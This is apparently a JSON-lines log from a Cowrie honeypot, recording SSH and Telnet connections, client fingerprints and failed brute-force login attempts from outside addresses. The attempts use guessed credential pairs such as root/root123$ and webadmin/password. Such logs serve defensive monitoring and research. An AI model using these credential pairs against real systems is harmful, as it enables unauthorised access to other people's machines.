{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:36.915854Z","src_ip":"57.128.222.14","session":"83c3bb867b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1234","message":"login attempt [user1/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:37.365828Z","src_ip":"57.128.222.14","session":"83c3bb867b2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:38.474473Z","src_ip":"57.128.222.14","session":"83c3bb867b2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35488,"dst_ip":"159.203.135.109","dst_port":23,"session":"f955d55b8c8a","protocol":"telnet","message":"New connection: 38.60.198.128:35488 (159.203.135.109:23) [session: f955d55b8c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:44.154032Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":56534,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc0cea9bd08b","protocol":"telnet","message":"New connection: 192.211.53.160:56534 (159.203.135.109:23) [session: cc0cea9bd08b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:47.136797Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":49250,"dst_ip":"10.17.0.5","dst_port":22,"session":"0022403acf5e","protocol":"ssh","message":"New connection: 198.98.56.227:49250 (10.17.0.5:22) [session: 0022403acf5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:49.491644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:49.500031Z","src_ip":"198.98.56.227","session":"0022403acf5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:49.776984Z","src_ip":"198.98.56.227","session":"0022403acf5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"lol123","message":"login attempt [debian/lol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:50.603976Z","src_ip":"198.98.56.227","session":"0022403acf5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:51.614319Z","src_ip":"198.98.56.227","session":"0022403acf5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.6543288230896,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:51.967479Z","src_ip":"38.60.198.128","session":"6e4c773ef9dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.467018127441406,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:52.795813Z","src_ip":"38.60.198.128","session":"e755b936651c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50484,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab0021dbb6ff","protocol":"telnet","message":"New connection: 38.60.198.128:50484 (159.203.135.109:23) [session: ab0021dbb6ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:54.799857Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":43240,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad436b99eec5","protocol":"telnet","message":"New connection: 45.81.23.16:43240 (10.17.0.5:23) [session: ad436b99eec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:26:57.765330Z"}
{"eventid":"cowrie.session.closed","duration":36.68448853492737,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:05.528611Z","src_ip":"38.60.198.128","session":"3290cff87d17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.920424461364746,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:07.159734Z","src_ip":"192.211.53.160","session":"914985fb5363","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44578,"dst_ip":"159.203.135.109","dst_port":23,"session":"e09275a837c9","protocol":"telnet","message":"New connection: 38.60.198.128:44578 (159.203.135.109:23) [session: e09275a837c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:13.844109Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.8.165","src_port":57290,"dst_ip":"10.17.0.5","dst_port":22,"session":"23da7c26ba30","protocol":"ssh","message":"New connection: 95.215.8.165:57290 (10.17.0.5:22) [session: 23da7c26ba30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:14.647535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:14.653742Z","src_ip":"95.215.8.165","session":"23da7c26ba30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:14.758608Z","src_ip":"95.215.8.165","session":"23da7c26ba30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47210,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccf60a68f9a6","protocol":"telnet","message":"New connection: 38.60.198.128:47210 (159.203.135.109:23) [session: ccf60a68f9a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:15.060961Z"}
{"eventid":"cowrie.login.failed","username":"webadmin","password":"password","message":"login attempt [webadmin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:15.150671Z","src_ip":"95.215.8.165","session":"23da7c26ba30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48404,"dst_ip":"159.203.135.109","dst_port":23,"session":"abcd32e4e0cc","protocol":"telnet","message":"New connection: 38.60.198.128:48404 (159.203.135.109:23) [session: abcd32e4e0cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:16.033882Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:16.249279Z","src_ip":"95.215.8.165","session":"23da7c26ba30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48220,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f4054136416","protocol":"telnet","message":"New connection: 38.60.198.128:48220 (159.203.135.109:23) [session: 4f4054136416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:16.909531Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":39064,"dst_ip":"159.203.135.109","dst_port":23,"session":"9504b3224ec7","protocol":"telnet","message":"New connection: 192.211.53.160:39064 (159.203.135.109:23) [session: 9504b3224ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:22.943995Z"}
{"eventid":"cowrie.session.closed","duration":41.91486191749573,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:26.068815Z","src_ip":"38.60.198.128","session":"f955d55b8c8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.59623408317566,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:26.732899Z","src_ip":"192.211.53.160","session":"cc0cea9bd08b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":57480,"dst_ip":"159.203.135.109","dst_port":22,"session":"27607a1fcdc1","protocol":"ssh","message":"New connection: 57.128.222.14:57480 (159.203.135.109:22) [session: 27607a1fcdc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:29.469223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:29.473813Z","src_ip":"57.128.222.14","session":"27607a1fcdc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:29.583926Z","src_ip":"57.128.222.14","session":"27607a1fcdc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123$","message":"login attempt [root/root123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:30.054594Z","src_ip":"57.128.222.14","session":"27607a1fcdc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55422,"dst_ip":"10.17.0.5","dst_port":23,"session":"a65e564b9416","protocol":"telnet","message":"New connection: 38.54.119.93:55422 (10.17.0.5:23) [session: a65e564b9416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:30.623854Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:31.167360Z","src_ip":"57.128.222.14","session":"27607a1fcdc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.76586961746216,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:32.565586Z","src_ip":"38.60.198.128","session":"ab0021dbb6ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.4658362865448,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:51.231064Z","src_ip":"45.81.23.16","session":"ad436b99eec5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54718,"dst_ip":"159.203.135.109","dst_port":23,"session":"070ad385926d","protocol":"telnet","message":"New connection: 38.60.198.128:54718 (159.203.135.109:23) [session: 070ad385926d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:51.783582Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":37348,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee253e156eec","protocol":"ssh","message":"New connection: 198.98.56.227:37348 (10.17.0.5:22) [session: ee253e156eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:51.812509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:51.826473Z","src_ip":"198.98.56.227","session":"ee253e156eec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:52.079104Z","src_ip":"198.98.56.227","session":"ee253e156eec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"qwe123","message":"login attempt [es/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:53.091724Z","src_ip":"198.98.56.227","session":"ee253e156eec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.31659770011902,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:53.225961Z","src_ip":"38.60.198.128","session":"4f4054136416","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:54.101265Z","src_ip":"198.98.56.227","session":"ee253e156eec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37388,"dst_ip":"159.203.135.109","dst_port":23,"session":"80325c82a228","protocol":"telnet","message":"New connection: 38.60.198.128:37388 (159.203.135.109:23) [session: 80325c82a228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:54.180206Z"}
{"eventid":"cowrie.session.closed","duration":41.669025897979736,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:55.513014Z","src_ip":"38.60.198.128","session":"e09275a837c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41098,"dst_ip":"159.203.135.109","dst_port":23,"session":"76fa0eeae268","protocol":"telnet","message":"New connection: 38.60.198.128:41098 (159.203.135.109:23) [session: 76fa0eeae268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:55.823665Z"}
{"eventid":"cowrie.session.closed","duration":43.29875826835632,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:27:58.359596Z","src_ip":"38.60.198.128","session":"ccf60a68f9a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.13816714286804,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:01.082038Z","src_ip":"192.211.53.160","session":"9504b3224ec7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52462,"dst_ip":"159.203.135.109","dst_port":23,"session":"88cacac35b62","protocol":"telnet","message":"New connection: 38.60.198.128:52462 (159.203.135.109:23) [session: 88cacac35b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:04.972207Z"}
{"eventid":"cowrie.session.closed","duration":49.9258816242218,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:05.959468Z","src_ip":"38.60.198.128","session":"abcd32e4e0cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53740,"dst_ip":"159.203.135.109","dst_port":23,"session":"d550f9a19381","protocol":"telnet","message":"New connection: 38.60.198.128:53740 (159.203.135.109:23) [session: d550f9a19381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:05.989242Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":52408,"dst_ip":"10.17.0.5","dst_port":23,"session":"d42a57fb39e2","protocol":"telnet","message":"New connection: 38.54.119.93:52408 (10.17.0.5:23) [session: d42a57fb39e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:09.817097Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38834,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fa918a63ef6","protocol":"telnet","message":"New connection: 38.60.198.128:38834 (159.203.135.109:23) [session: 3fa918a63ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:14.607515Z"}
{"eventid":"cowrie.session.closed","duration":7.427510738372803,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:17.244518Z","src_ip":"38.54.119.93","session":"d42a57fb39e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":57662,"dst_ip":"159.203.135.109","dst_port":22,"session":"650314228ceb","protocol":"ssh","message":"New connection: 57.128.222.14:57662 (159.203.135.109:22) [session: 650314228ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:21.564741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:21.569561Z","src_ip":"57.128.222.14","session":"650314228ceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyA